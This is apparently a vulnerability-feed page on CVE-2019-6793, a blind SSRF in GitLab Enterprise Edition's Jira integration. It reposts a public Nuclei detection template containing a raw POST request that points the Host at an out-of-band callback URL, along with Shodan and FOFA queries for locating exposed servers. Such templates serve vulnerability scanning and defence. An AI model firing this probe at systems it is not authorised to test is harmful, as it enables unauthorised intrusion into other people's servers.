CVE-2019-6793: GitLab Enterprise Edition - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: GitLab Enterprise Edition | POC: 已公开

漏洞描述

An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.

PoC代码[已公开]

id: CVE-2019-6793

info:
  name: GitLab Enterprise Edition - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.
  reference:
    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/50748
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 7.0
    cve-id: CVE-2019-6793
    cwe-id: CWE-918
    epss-score: 0.02826
    epss-percentile: 0.85661
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: html:"GitLab Enterprise Edition"
    fofa-query: body="GitLab Enterprise Edition"
  tags: cve,cve2019,gitlab,enterprise,ssrf,blind

http:
  - raw:
      - |+
        POST /-/jira/login/oauth/access_token HTTP/1.1
        Host: {{interactsh-url}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "access_token="

      - type: status
        status:
          - 200
# digest: 490a0046304402205f6ec7521b1cf8ba888bf4e21f01194fcc1547ac9dc92f2069861365a71e12d9022065a9cb79f15e928cb67961d1fb9cfa1f65081f70062173b94e5dfff9cf600e91:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6793.yaml

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